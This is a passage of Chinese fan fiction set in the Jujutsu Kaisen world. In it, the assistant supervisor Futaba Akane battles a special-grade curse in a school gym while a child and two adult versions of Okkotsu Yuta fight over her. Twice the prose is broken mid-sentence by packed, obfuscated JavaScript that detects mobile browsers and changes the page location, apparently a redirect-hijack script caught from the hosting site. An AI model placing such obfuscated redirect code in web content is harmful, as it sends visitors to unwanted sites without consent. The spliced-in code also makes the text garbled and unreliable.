但今天还是工作日。 手机不合时宜地震动起来,打破了短暂的平静。 双叶茜拿起手机,打开屏幕。 监测到到京华高校出现不明咒力波动,咒灵等级判定中,请负责值班的辅助监督立即前往现场协助等级判定,并在现场设置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558065|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警戒,疏散人群,总部派遣的咒术师将稍后抵达。] [@双叶茜] 双叶茜的脸色骤然变得凝重起来,眼神也变得凌厉许多,收起手机道:“抱歉,忧太,姐姐现在有工作,必须马上过去。” 小小的乙骨忧太立刻抱紧了她的手臂,还没从刚刚的甜意中走出来,小脸上写满了不情愿,撒娇道:“不要嘛,茜姐姐刚刚不是说好了要跟我一起回家嘛?” “忧太,抱歉,这是很重要的工作。”她试图跟乙骨忧太讲道理,”如果我不去完成任务,很多人可能会受伤甚至丧命,你愿意看到那样的场面吗?” “可是那些人和姐姐根本没有什么关系啊。”男孩歪了歪头,天真的语气却尽显残忍,“为什么还要在意他们的死活呢,难道他们比我更重要吗?” 小乙骨忧太说出的话让双叶茜吓了一跳,她蹙了下眉,声音不自觉带上怒气,语气加重:“忧太,你怎么能这样说?” “虽然那些人的确是陌生人,但作为辅助监督,保护他们,履行职责就是我的工作,而且即便是素不相识的人,我也不想看到他们无辜丧命,难道你能眼睁睁地看着那么多生命就这样消逝吗?” 突然被训斥的乙骨忧太愣在原地,不可置信地望着双叶茜,两只眼睛都红了起来,黑眸中盛着委屈。 “我…我只是不想和茜姐姐分开。”他声音里带着哭腔,“我只是想和茜姐姐永远在一起,难道我做错什么了吗?” “可是我不是你的附属品啊。”双叶茜叹了口气,“虽然你想跟我一直待在一起,可我也有必须要完成的工作啊。” “如果现在没有任务,我当然愿意陪着你,但现在情况紧急,我不能再耽搁了。” 她打开手机,又看了一眼时间,语气坚决:“我必须走了,忧太。” 双叶茜说完,便匆匆离开,只留给乙骨忧太一个背影。 “…骗子。”看着她离开的背影,乙骨忧太却依然站在原地。 他像是深陷进某中执念中,死死地盯着双叶茜的背影,下唇也被咬紧,在原地自言自语着。 “明明说好要永远跟我在一起,明明说好要跟我一起回家。” “其他人也是,明明都是一样的存在,却总是独占着茜姐姐,把所有能出现和跟茜姐姐相处的时间都留给自己。” “明明我能见到茜姐姐的时间是最短的,茜姐姐却还是不肯多陪陪我,心里还记挂着那么多人,太不公平了。” “茜姐姐应该只属于我一个人。” 男孩一边低声低喃着,一边迈开脚步,向双叶茜离开的方向走去。 22.第二十二章 双叶茜坐着电车,匆匆赶到京华高校。 总部提前派来的警方正在现场用警戒线疏散隔离,人群熙熙攘攘,一片混乱。 双叶茜迅速亮出证件,穿过拥挤的人群。 一股极其阴冷的咒力让她不自觉地打了个冷颤,眉头也皱了起来。 “情况如何?” 双叶茜快步走到里面,向负责维持秩序的警官询问道。 警官面色凝重地摇了摇头:“大部分师生已经疏散完毕,但还有几名学生因参加课外活动而没来得及离开,被困在了体育场里。” 他指着不远处的一栋建筑:“我们尝试过救援,但那里面的情况不是我们这些普通人能应付的。” 双叶茜点了点头,目光向体育场的方向望去:“辛苦了,接下来交给我吧。” 总部派来的咒术师不知何时才能抵达,在那之前,双叶茜必须先完成咒灵等级判定和布置帐的工作。 无论如何,她都要尽可能减少伤亡。 她面色沉重,往内部又走了几步,通过感受咒力来判定等级。 片刻后,双叶茜倒吸了一口气。 因为她意识到,这次是一个特级咒灵。 双叶茜果断向后撤退,向现场的警员们喊道:“所有无关人员马上离开!” 接着,她又快速给总部拨通电话,向总部汇报信息:“这里是双叶茜,京华高校的咒灵确定为特级,请求立即增派特级咒术师支援!” 总部那边的回应也很快:“收到,双叶小姐,请您小心。” 挂断通讯,双叶茜又望向那栋笼罩着不祥气息的体育场。 按照流程,辅助监督只需要完成布置帐和疏散人群的本职工作,至于处理咒灵,那是咒术师需要去干的事情。 可想到还有无辜的学生被困在体育场里,随时有丧命的危险,双叶茜的心就难以平静。 但以她的实力,让她去对付特级咒灵,简直就等同于让她去白白送死。 双叶茜深吸一口气,只能咬了咬牙,全神贯注地布置着帐,将自己的本职工作做好。 可她前脚刚完成工作,还没来得及喘口气,后脚就听到了一个稚嫩的童声。 “茜姐姐!” 双叶茜不可置信地回过头,竟看到乙骨忧太不知何时穿过了警戒线,站在她身后冲她招手。 男孩小小的身影在因咒而产生的昏暗天色下显得十分单薄,但他却丝毫没意识到自己现在正处于危险之中,满脸都是找到她的欣喜。 “忧太,你怎么会在这里,快点离开!” 双叶茜的心几乎提到了嗓子眼里,她毫不犹豫地向着乙骨忧太走去,厉声道,“这里很危险,你来这里做什么!” 小乙骨忧太莫名被凶,简直委屈坏了,呆站在原地不动,眨着眼睛看着双叶茜,可怜巴巴地说:“我…我只是想和茜姐姐待在一起,所以就来找茜姐姐了,不可以吗?” “当然不可以!”双叶茜提起他的脖子,将这个不知天高地厚的小孩抱到怀中,语气再无之前的半分柔和,“你知不知道这里是什么地方,你知不知道这里有多危险?!” 她抱着乙骨忧太往外走,想把他交给警戒线外的警察,让那些警察看着他。 可还没走几步,双叶茜身后的刚布置好的帐却像是被什么东西撞碎一般,从里破裂掉了。 紧接着,一股庞大的黑色气息从里涌出。 那股黑色气息居然化作一张手,直接攥住双叶茜和乙骨忧太,将他们往体育场里拉。 由于那只手的速度实在过快,双叶茜根本来不及反应,只感到一阵天旋地转。 她只能抱住乙骨忧太,将他紧抱在怀里,尽量保护乙骨忧太不受到任何攻击。 “砰!” 两人重重摔落在体育场内冰冷的地板上。 体育馆的大门被重新关上,隔绝了外界的光源和声音。 “咳咳,忧太,你没事吧?”双叶茜忍着疼痛撑起身子,第一反应就是去检查怀中的男孩。 乙骨忧太摇了摇头,小手紧攥着她胸前的衣服。 “待在我身边,不要乱跑了,这里不是能胡闹的地方。” 体育场内阴暗无比,连一丝光亮都透不进来,双叶茜抱着乙骨忧太站起身,环视着整间体育场。 几声压抑的哭声从角落里传来。 “茜姐姐,那里好像有人。”乙骨忧太像是发现了什么,抱住双叶茜的脖颈,在她耳旁小声说话,又指向体育场的一个角落。 双叶茜顺着他所指的方向望去,果然看到几个穿着校服的学生蜷缩在角落里互相依偎着,被吓得瑟瑟发抖。 太好了,这几个孩子还活着。 双叶茜抱着乙骨忧太,将脚步放轻,借着体育场内杂物的掩护,小心翼翼地往那几个学生的方向移动。 但就在此时,体育场顶端的钢架上像是忽然爬上了什么东西,钢架不堪重负地发生断裂,直直地往地上的双叶茜和乙骨忧太砸去。 虽然已经担任辅助监督许久,但双叶茜到底还是从东京咒术高等学校出来的学生,她很快便反应过来,抱着乙骨忧太急忙向旁躲过。 钢架与他们擦身而过,重重地砸在地板上,由于太过用力,一大片地板都破裂开,钢架歪七扭八地插在地板的裂缝里,掀起一阵尘土。 双叶茜被灰呛得一边轻咳一边抬头,却被眼前一幕吓了一跳。 一个有四只腿的诡异生物站在钢架上。 这怪物的脸部只有一只眼睛,但那眼睛甚是庞大,几乎占据了它一整面的身体。 不仅如此,它身上还有许多恶心又极长的触须,诡异地漂浮在半空中,看上去甚是恶心。 “嘻嘻…嘻嘻…” 咒灵发出怪异的笑声,身上的数根触须忽然变大,如同几只巨蟒,猛地以惊人的速度分别袭向双叶茜和那群学生。 “快躲开!” 双叶茜一边抱着乙骨忧太快速奔跑着,躲避开那些触须,一边对那些学生们喊道。 她尚且还可应对,但这几个普通的孩子们又怎会是特级咒灵的对手。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559499|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们才刚从地面上爬起,还没反应过来,那宛若巨蟒一般的触须就抵达了他们面前。 “啧。” 双叶茜毫不犹豫地将怀中抱着的乙骨忧太往旁边相对安全的地方推去,又从口袋中掏出几张符纸来,将咒力凝聚在上面,向那些触须扔去。 几张符咒迅速化为一团团火焰,将那些触须全部烧断。 “啊啊啊啊啊!!” 咒灵感到疼痛,发生凄惨的喊叫声,被烧断的触须抽搐着。 它意识到是双叶茜害得它成为这副样子,愤愤地转头望向双叶茜,那只眼睛变了色,几乎变为一片赤红。 就在这时,一条触须悄无声息地从双叶茜身后袭来,并以闪电般地速度缠上她的腰肢,猛地往里收紧。 那只触须将双叶茜提到半空中,而另一只触须也迅速缠绕上来,缠住她的喉咙,让她根本无法呼吸。 “茜姐姐!”被推开的乙骨忧太惊呼一声,眼中写满了惊恐和害怕,想要向双叶茜冲来。 “别过来,快走!” 双叶茜艰难地从齿缝中挤出声音,制止了乙骨忧太。 她的喉咙被巨大的压力压迫得声音嘶哑,视线也逐渐模糊。 双叶茜不想就这么放弃,拼命挣扎着,却只是徒劳。 她虽并不是普通人,却也只普通人好了那么一点。 身上的力气逐渐散去,双叶茜再无任何反抗和挣扎的力气。 她的脑袋已经开始缺氧,让她无法再看清眼前任何东西。 “茜姐姐!!” 孩童尖锐的哭喊声凄惨极了。 看着女人被提在空中,快要死掉的模样,几个学生们也害怕极了,无助地瑟缩恐惧着,害怕下一个变成这样的人就是他们。 但就在这绝望的时刻,一声巨响却突然从双叶茜正前方的空间炸开。 由于咒灵只有一只眼睛,现在触须又在控制着双叶茜,无法回头,所以看不到身后的状况。 但双叶茜却看得很清楚。 那咒灵背后的空间被硬生生撕裂出一个狰狞的裂口,裂口边缘闪烁着白光,内部一片漆黑。 紧接着,一个人影从这个空间裂缝中走了出来。 他大约二十多岁的模样,上面穿着白色制服,下面穿着黑色裤子,额前的黑色碎发有些凌乱,背后还背着一把长刀。 男人的目光瞬间与命悬一线的双叶茜对上,又落到缠在她身上的触须上。 他神情依旧,只见一道凛冽的刀光闪过,缠绕在双叶茜身上的两条触须便被齐齐斩断。 失去支撑,已经彻底无力的双叶茜从半空中坠落,却没感到预料中由于坠落在地板上而产生的疼痛,反而感到了温暖。 她落进一个温暖至极的怀抱中。 乙骨忧太一只手稳稳地接住双叶茜,另一只手持着刀。 他低下头凝视着双叶茜,眸中颜色很深,好像一个与爱人已经分别许久的可怜人。 他对着双叶茜说。 “找到你了,茜。” 23-30 第23章 双叶茜大口呼吸着空气, 视线仍因缺氧而模糊。 但奇异的是,此刻她全身上下居然都再无之前那般紧绷了。 一股难以言喻的安心感笼罩在双叶茜的心头。 她抬起眼,看向抱着她的那人。 男人的面容是双叶茜再熟悉不过的轮廓, 他五官端正, 棱角分明,脸上褪去了所有青涩,尽是属于成熟男人的气息。 几率黑色碎发散乱地垂落在男人额前,碎发下的眼眸十分深邃,里面似乎盛满了对爱人的想念, 但他的眼角眉梢又透着一股深深的的疲惫感。 乙骨忧太抬起手, 修长的手指抚摸上双叶茜的脸颊, 用带着薄茧的指腹在她脸上摩挲着, 似乎在描摹着她的轮廓。 而那双黑眸也一眨不眨地凝视着双叶茜,专注极了。 “忧…忧太?”双叶茜试探性地出声。 但谁知她才刚一出声,下一秒乙骨忧太就将她紧紧搂在了怀抱中, 肩膀甚至都开始颤抖起来,像是一个失而复得的人般。 双叶茜隐约还听到了男人压抑的哭声。 这突如其来的展开让双叶茜措手不及,她怔愣片刻, 才迟疑地抬起手拍了拍乙骨忧太的后背, 安慰道:“忧太,你怎么了?我就在这里,没事, 没事了。” 乙骨忧太却只是将脸埋在双叶茜的颈窝中, 将她抱得更紧。 可眼下这个状况却实在不是什么适合煽情的场合。 “嘻嘻…嘻嘻…” 那只特级咒灵对被忽视感到极度不满, 占据了整张脸的巨大独眼完全变成血红色,死死地盯着双叶茜和乙骨忧太两人。 紧接着,数条触须又再次从咒灵身体里拼命挤了出来, 向他们二人发起攻击。 从双叶茜的角度,她正好能将特级咒灵的变化和攻击尽收眼底。 但乙骨忧太在抱着她,背对着特级咒灵,根本无法看到身后的危机。 “忧太,小心!” 双叶茜惊呼出声,下意识想要推开乙骨忧太,又想从口袋里拿出些符纸来迎接攻击。 可她还没来得及行动,乙骨忧太却反而将她抱得更紧,在她耳旁低声道。 “我知道,别担心。” 说时迟那时快! 到底还是特级咒灵,实力不容小嘘,只见那些刚生长出来的触须以一种惊人的速度向双叶茜和乙骨忧太二人所在的位置攻去,几乎在刹那见便已逼近他们身后。 蜷缩在角落里的几个学生惊恐地睁大眼睛,有一个甚至不忍直视地捂住眼,不想看到接下来会发生的鲜血淋漓的场景。 “砰!” 只听一声巨响,那些触须重重地向双叶茜和乙骨忧太砸去,掀起漫天的灰尘。 完了。 他们肯定已经被压成肉泥了。 下一个就轮到我们了。 几个学生陷入到彻底的绝望之中,眼中一片死灰,只觉自己离死亡就差一步之遥。 但就在这时,空气中却忽然出现一道身影。 乙骨忧太一手抱着双叶茜,另一只手拔出那把太刀,跳跃到空中,竟躲避开了攻击! 触须在地面上砸出一个深坑,那特级咒灵意识到没有砸中对手,触须在地面上蠕动了一下,又再次向空中的两人袭来。 “抱紧我。”乙骨忧太低声道。 双叶茜对于乙骨忧太有着发自心底的信任,她没有任何犹豫,几乎是下意识地环住了他的脖颈。 只见乙骨忧太单手握刀,那把太刀在昏暗的光线下划出一道弧线,刀身上缠绕着的咒力陡然增加,不断往外散发着。 那把太刀的刀身虽未直接触碰到触须,但往外散发的庞大咒力竟已经将最近的几根触须齐齐斩断。 特级咒灵发出痛苦的嘶吼声,剩余的触须疯狂舞动着,向空中的身影再次发起攻击。 乙骨忧太实战经验丰富,他抱住双叶茜,接连躲过那些触须的攻击,又寻找着机会去将那咒灵一击毙命。 忽然,他闪避的动作停下来。 他握住刀柄,将双叶茜放在地上,眼神骤然变得凌厉,竟以一种极快的速度向着那特级咒灵而去。 特级咒灵还以为他会继续逃窜,未料到他会突然反击,没做任何防备,触须不断往外伸张着。 察觉到乙骨忧太的意图,特级咒灵慌张地收回触须想要防御,却为时已晚。 乙骨忧太的速度很快。 他握住那把太刀,从原地迸发出去,刀尖直对着特级咒灵的那只庞大的独眼,径直刺了进去! 鲜血从特级咒灵的那只独眼上溅出,溅到男人的脸颊和白色上衣上,可他神色未变,仍是那副淡然的模样,静静看着特级咒灵在自己面前痛苦地扭曲着。 特级咒灵庞大的身体疯狂蠕动,试图逃脱,却无法逃开,像是被那把太刀牢牢钉在了原地,纵使身体再拼命挣扎也只是徒劳。 片刻后,它的身体开始从里崩裂开。 它发出痛苦的叫声,不愿去接受自己即将消亡的现实,却无法改变既定的结局。 而乙骨忧太又拔出刀,伴随着他这个动作,那只特级咒灵的身体逐渐消散,最终彻底湮灭在空气中,消失得无影无踪,只留下满地的狼籍能够证明它曾经存在过。 乙骨忧太缓缓将那把太刀收回,转身向着双叶茜走去。 男人脸上刚刚面对咒灵时的冷漠尽相褪去,眼中重新被难以掩饰的 温柔和想念所填满,轻声喊着她的名字。 “茜。” 乙骨忧太朝着双叶茜走去,但就在这时,一个小小的身影却挡在了他们二人之间。 幼小的男孩张开双臂挡在双叶茜面前,好像一只护崽的幼兽,稚嫩的脸颊上写满了敌意。 “不准你靠近茜姐姐!” 乙骨忧太的脚步忽然顿住了。 他垂眸看着眼前这个幼小的自己,眼神却一片冷漠,冷声道。 “让开。” 可固执的小男孩又怎会乖乖听话,他倔强地摇了摇头,一副执拗的模样:“我不要!茜姐姐是我的,你休想抢走她!” 但这话却仿佛触碰到了某个敏感的开关。 乙骨忧太身上的气息好不容易才变得温柔下来,但一下子又变成那副危险的模样,浑身上下都在往外冒着黑气。 刚刚才被他收进刀鞘的那把太刀又再次被他拔出,他手握着刀柄,一字一句地问。 “你再说一遍?” 明知乙骨忧太的敌意和冷漠并不是针对自己,但双叶茜却还是本能地感觉到了危险。 她正欲上前阻止,将年幼的孩童护住,却在抬眸望向乙骨忧太的瞬间愣在原地。 乙骨忧太的手按在刀柄上,双目注视着年幼时的自己,眼中竟当真浮现出了不加掩饰的杀意。 他是认真的。 乙骨忧太是当真准备杀死这个年幼的自己。 “忧太,等等,不要!”双叶茜赶忙出声喊道,又伸手想要抱住面前的孩童,将他护在怀里。 “住手。” 然而就在这时,一个冷静的声音却从体育场门口传来。 又一个乙骨忧太站在门口。 他跟站在双叶茜面前的那个乙骨忧太外表几乎一模一样,估摸着连岁数都差不多,只是他却穿着一身黑衣。 男人站在门口,目光快速扫过体育场内的混乱景象,视线在与双叶茜对上时停留了片刻,但又很快移开,最后定格在那个持刀的乙骨忧太身上,与对方对峙着,眉头皱起。 “你想做什么?”他冷声道,“你打算在茜面前对你自己动手吗?” 体育场内出现了极其诡异的画面。 三个乙骨忧太站在不同地方,一个护在双叶茜面前,一个持着刀站立着,另一个则站在门口。 看着这三个乙骨忧太,双叶茜只觉一阵眩晕。 几个学生们也被了两个男人一模一样的外貌吓到了,看看这个,又看看那个,脸上写满了不知所措和迷茫。 “为什么不可以呢?”持刀的乙骨忧太转过头,看着站在门口的自己,“反正你们不都是我吗?” “既然都是我,那么少掉一两个又有什么关系呢?” “你疯了。”站在门口的男人沉声道,向前又迈了一步,“虽然我们确实都是乙骨忧太,都是你自己,但这并不代表你可以随意抹杀掉其他时间线的存在。” “疯了?”持刀的乙骨忧太发出一声短促的冷笑,“我早就疯了,难道你们到现在还不知道?如果你们不知道,又为什么还要来这里,还要跟茜在一起?” “不要以为我不知道你们在想什么。” “你杀了我们,你自己也会死。”站在门口的乙骨忧太继续道,向与自己对峙的那个男人发出警告。 但持刀的乙骨忧太却只是冷哼一声:“这件事情我早就知道了,难道你以为我现在还会在意自己的性命?” 话音刚落,乙骨忧太就持刀对向了挡在双叶茜面前的那个男孩,眸色转暗。 “等等!”双叶茜急忙将小男孩护在身后,“你们到底在说什么?忧太,你为什么要杀死你自己?” “这是唯一的办法,茜。”持刀的乙骨忧太凝视着双叶茜,眼中的疯狂稍褪去,脸上尽是悲伤,“只有这样,你才能活着。” “我花了很多时间才找到你,虽然我也想跟你再多待一段时间,但如果那样,就前功尽弃了。”乙骨忧太温声哄道,“听话,茜,不要阻止我,让开好吗?” 双叶茜听不懂乙骨忧太在说什么,却能从刚刚那些只言片语中判断出如果乙骨忧太杀死过去的自己,那么他自己就会消失这件事。 所以即使眼前的乙骨忧太让她让开,双叶茜也固执地不肯退让,挡在男孩面前,让乙骨忧太没办法对他做什么。 见她这样,乙骨忧太无奈地叹了口气:“茜,你怎么不听话呢?” 1 他不想伤害双叶茜,视线便越过双叶茜,直直地逼向被她护在身后的孩童,与其童对上视线,冷声问道:“躲在茜身后寻求保护,让她挡在你面前,你还真是没用。” “这就是你所谓爱吗?” “如果你真的爱她,就自己走出来承担这一切,而不是让茜为你抵挡危险。” 乙骨忧太实在了解自己,无论是过去还是现在。 简短的几句话却戳中男孩的心窝,他咬了咬牙,眼眶微红,居然真的想从双叶茜身后走出来。 然而就在此时,一道黑影突然冲向了乙骨忧太。 “铛!” 金属碰撞的声响在体育场内回荡。 两把一模一样的太刀相抵,站在门口的乙骨忧太不知何时已瞬移到男人面前,手中的太刀稳稳架住男人的刀刃。 “我说了,住手。”他冷声道,“我不会让你这么做。” 男人眼中闪过一丝惊讶,质问道:“你要阻止我?你知道这是唯一的办法。” “我知道,但你至少不应该在茜面前杀死他。”乙骨忧太忽然发力,将对方的刀猛地推开,“你想做什么?让茜害怕我们吗?” “我当然有我的打算,作为另一个我,你难道不清楚我在想什么?”男人的眼中被偏执所占据,“你阻止我的真正目的又是什么?” 两人维持着刀剑相抵的姿势,谁都不让谁。 双叶茜怔在原地,不知道该如何是好,也不知道究竟该帮谁,就在这时,两个乙骨忧太的其中一个对那个孩童喊道。 “带着茜走,难道你想死在这里吗?” “如果这是你的选择,就继续待在这吧!” 听到这话,孩童时期的乙骨忧太突然有了反应。 他彻底意识到自己的弱小,咬紧下唇,眼中闪过不甘,随即便紧紧抓住双叶茜的手,拽着她向外冲去。 “等等,忧太!” 双叶茜不愿同他一起离开,但男孩的力气却不知为何十分之大,竟硬生生拽动了双叶茜,让她被迫跟着一起往体育场出口的方向跑去。 其中一个乙骨忧太见状想追上来,却又被另一个自己给挡住。 他们两人年岁相当,实力也相当,想在短时间里决出胜负实在之难。 与此同时,孩童时期的乙骨忧太死死拽着双叶茜的手,拖着她往外狂奔。 双叶茜踉跄着跟上小乙骨忧太的步伐,忍不住回头望去,只见体育场内,其中一个乙骨忧太屡次想要追来,去被另一个死死缠住。 “忧太,我们不能就这么走了!”双叶茜试图停下脚步,但小男孩却充耳不闻,只是更加用力地拽着她往外跑去。 门外的警戒线仍然拉着,几名警察正在维持秩序。 “请等一下!”见双叶茜出来,一个警察急忙走上前来,急切地询问道,“请问里面的情况怎么样,其他学生呢?” 可乙骨忧太却根本不理会警察的询问,单手推开那些警察,拉着双叶茜穿过警戒线。 “请配合我们的工作!” “里面到底发生了什么?” “其他学生…” 又有几名警察想要阻拦他们停下,可乙骨忧太却置若罔闻,径直拉着双叶茜冲了出去。 “等等,站住!!” 警察们的呼喊声在身后响起,急切地想要追上他们二人,可乙骨忧太的速度却快得几乎是令人不可置信的程度。 他带着双叶茜在街道上狂奔,先是拐进了一个小巷里,又是穿过几个路口,直到确认身后再无人追来,乙骨忧太才在一个僻静的角落停下。 身为辅助监督,也作为从东京咒术高专的毕业生,双叶茜的体力虽抵不过同级生,但也不算差。 可是这一番跑下来,直接给她累得够呛。 她累得气喘吁吁,扶着膝盖在原地大口喘气,心脏极速跳动着,胸腔像是快要炸掉般疼痛。 双叶茜一边拼命平复下呼吸,一边问:“忧太,这到底是怎么回事?” “茜姐姐,我们不说那些事情好不好。”男孩缓缓抬起头,说道。 经历了刚刚如此激烈的奔跑,可男孩身上没有丝毫疲惫的迹象,甚至脸喘气都无,仿佛刚刚那番奔跑对他来说根本不算什么。 乙骨忧太转身握住双叶茜的手,漆黑的双眸目不转睛地盯着她,说道:“现在终于只剩下我们两个人了,从今往后,我们永远在一起好不好?” 他的声线稚嫩,却带着一种近乎化为实质的占有欲。 双叶茜一时语塞,竟不知回复他什么好。 “你在说什么?现在哪是谈这些的时候!”她试图抽回手, “我得回去那边,那里还有两个你在战斗,我得去问清楚到底…” 女人的话戛然而止,显然被眼前的一幕逼得将想说出的话给硬生生噎了回去。 男孩的眼眶以肉眼可见的速度迅速泛红,豆大的泪珠无声地从眼眶往下滚落,一滴比一滴要更加真切。 他双手捧住双叶茜的一只手,几乎是在恳求她。 “茜姐姐,不要去管其他事情了好不好?” 乙骨忧太哽咽道:“我能跟茜姐姐待在一起的时间很少,实力又不敌他们,如果茜姐姐现在走的话,我下次见到你就不知道是什么时候了。” 他停顿了一下,哭得愈发伤心,上气不接下气的,呜咽道:“我…我都我都不知道还有没有下次了。” “那个人还想杀我…呜呜呜,茜姐姐,呜呜呜,说不定我们这次分开,以后就再也见不到了!” 小男孩哭得满脸通红,模样凄惨极了。 因他一边说话,一边不停在哭,双叶茜都担心他会不会一口气喘不上来给自己憋死了。 他又哭道:“茜姐姐,你真的要离开我吗,难道你不想再见到我吗?” “不是的,忧太,你听我解释。”双叶茜的语气不自觉地软下来,想同乙骨忧太好好解释。 “那为什么一定要回去?”乙骨忧太向前一步,将脸颊贴在双叶茜掌心,像一只脆弱又毫无攻击性的幼兽,使人诞生出无尽的保护欲,又道,“茜姐姐,陪在我身边好不好,我很害怕。” “那个长大后的我,他想要杀了我,我没办法反抗,他好强,我太弱了。”乙骨忧太的身体开始颤抖起来,“我打不过他,我真的很害怕。” “茜姐姐,留在我身边好不好?” 望着眼前流泪的男孩,双叶茜的内心陷入剧烈挣扎中。 一方面,她的确想返回体育场内,问清楚到底怎么回事。 可另一方面,眼前这个孩子双眼哭得通红,眼里盛满了不安和乞求,生怕她离开。 而且,这个孩子说的话也的确没错。 那个乙骨忧太想要杀死他。 这个孩子现在需要被保护。 想到这里,双叶茜叹了口气。 她蹲下身,伸手擦去乙骨忧太脸上的泪痕,哄道:“那我不回去了,我们先找个地方休息一下,好吗?” 听到她的回答,乙骨忧太破涕为笑,方才还在泪眼朦胧的双眼瞬间绽放出光彩,用力地抱住双叶茜,开心地点头道:“嗯!” “我知道附近有一个安全地方!”他又牵起双叶茜的手,领着她往前走去,“茜姐姐,你跟我来!” 双叶茜跟在他身后,内心却总觉得有哪里不对,却说不上来缘由。 她瞥了一眼身旁的男孩。 男孩稚嫩的脸上还残留着泪痕,但因为她答应陪在自己身边的原因,整个人都开心极了,嘴角扬着笑。 …可能是自己多想了吧。 双叶茜收回视线,又看向前方的路,心想。 然而在她看不见的地方,孩童的笑却愈发怪异和张扬。 他得意洋洋地想。 哼,你们这些人只会打架有什么用。 想要得到茜姐姐,还是要靠心机! 茜姐姐是属于我的! 乙骨忧太牵着双叶茜的手,熟练地穿过几条小巷,径直往前走去。 最终,他们在一处陈旧的居民楼前停下。 这里双叶茜曾经来过,她第一次遇见孩童时期的乙骨忧太时,对方就带她来过这里。 “茜姐姐,我们回家吧 !”乙骨忧太转过身,两只眼睛都在亮着,“这里很安全,没人知道这个地方,我没有告诉任何人哦!” “这里是我和茜姐姐的家,是我和茜姐姐的秘密基地!” 不等双叶茜回应,乙骨忧太就拉着她走进楼道。 楼道里的声控灯随着他们两人的脚步亮起,走到家门前,乙骨忧太像上次那般从口袋里掏出钥匙,打开了房门。 “欢迎回家,茜姐姐!” 他开心地往里跑去,又从鞋柜里拿出拖鞋放到双叶茜面前,抬头望向她,那张纯真的脸上满是喜悦。 双叶茜换上拖鞋,又带上房门走进室内。 乙骨忧太啪嗒啪嗒跑向客厅,拿起遥控器打开电视,又坐在沙发上,拍了拍身边的位置,开心地喊着双叶茜,道。 “茜姐姐,你快来!” 双叶茜走到沙发旁坐下,但刚一坐下,乙骨忧太便像只十分依赖着主人的小狗一样凑了上来。 他贴在双叶茜身上,甚至还伸手抱住双叶茜的胳膊。 电视里播放着轻松的综艺节目,暖黄色的灯光洒满整个客厅,营造出一种令人安心的氛围。 “茜姐姐。”乙骨忧太忽然仰起脸,问,“你喜欢这里吗?” 双叶茜低下头,见男孩期待地看着自己,眼睛亮闪闪的,实在不忍心说出什么拒绝的话,便点点头,正要说些什么,却听到自己的肚子发出“咕噜噜” 的声音。 她这才想起来,从早晨到现在,除了跟五条悟在一起的时候吃了几口甜点,她几乎连口水都没喝。 今天一天又经历了这么多事,双叶茜身体的能量早就消耗得一干二净了。 刚刚还处在紧张的环境里,所以她没有察觉到,现在放松下来,只觉腹部饥饿无比。 乙骨忧太同样听到这一声,他先是一愣,随即眼睛便亮起来,兴奋地从沙发上站起:“茜姐姐饿了吗?我去给茜姐姐做饭!” 双叶茜连忙拉住他:“等等,你还这么小,怎么能让你做饭?” 上次让这个孩子给自己做早饭,她就已经很不好意思了,现在她又怎么可能还让乙骨忧太给自己做第二次。 可跟乙骨忧太同居那么久以来,饭菜这件事一直都是乙骨忧太负责的,双叶茜几乎没下过厨房,更不会做饭。 她犹豫了下一下,又道:“我们不如出去吃吧,或者叫外卖也可以。” 可谁知这句话刚出,乙骨忧太脸上的表情就凝固了。 他低下头,手指无意识地绞着衣角,声音里满是委屈,低低道:“茜姐姐是觉得我做不到吗?” 双叶茜解释道:“不是的,我只是…” “我可以的!”可她一句话还没说完,乙骨忧太便猛然抬起头,眼眶又再次泛红,那双黑眸也蒙上了一层薄薄的水雾,道,“我经常自己做饭的,别人能为茜姐姐做到的事,我一样可以做到!” “而且我也不想让茜姐姐出去,更不想让别人知道这里。”他咬着牙,声音越来越小,“万一你出去了就回不来了,万一我们遇到那个想杀死我的大人怎么办?” 他垂下头,一副伤心至极的模样:“到那个时候,我还怎么跟茜姐姐待在一起?” 见他这样,双叶茜也不好再说什么,只能轻叹了口气,伸手揉了揉乙骨忧太的头发,答应了下来:“好吧,那你要小心一点好不好,要是受伤了,我会生气的,以后就再也不跟你说话了。” 她刻意让语气轻快起来:“那我就坐在这里,等着品尝你 的手艺了哦。” 乙骨忧太这才又抬起头,用力地点了下头,迈着小短腿朝厨房跑去。 厨房里很快便传来翻找厨具的声音。 没一会,乙骨忧太就端上了几道菜,喊着双叶茜来吃饭。 两人很快便吃完一顿饭,途中乙骨忧太一直依偎在双叶茜身边,不停地跟双叶茜撒娇,像个真正的小孩一样,理直气壮地让双叶茜喂自己吃。 双叶茜没拒绝,纵容着他的撒娇,依着他来。 夜色渐深。 双叶茜简单洗漱了一下,便走到卧室准备睡觉。 乙骨忧太也换了身睡衣,爬到床的另一边躺下。 她熄了灯,刚合上眼睛,却听到男孩怯生生的声音:“茜姐姐,我能不能抱着你睡?” 他的声音颤抖着,让人不忍心拒绝:“我…我有点害怕。” 双叶茜只好无奈地伸出手,将乙骨忧太抱在怀里,又拍着他的背,哄道:“没事的,睡吧,我在这里,不会有人拿你怎么样的。” 男孩反抱住双叶茜的脖颈,又蹭了蹭她的脸颊,声音里带着全然的满足:“嗯!晚安,茜姐姐,最喜欢你了!” 怀中孩童的呼吸声逐渐变得平稳绵长,似乎已经睡去,双叶茜却毫无睡意。 她睁开眼睛,心中下定了一个决定。 明天她要带着这个孩子,去把事情问清楚。 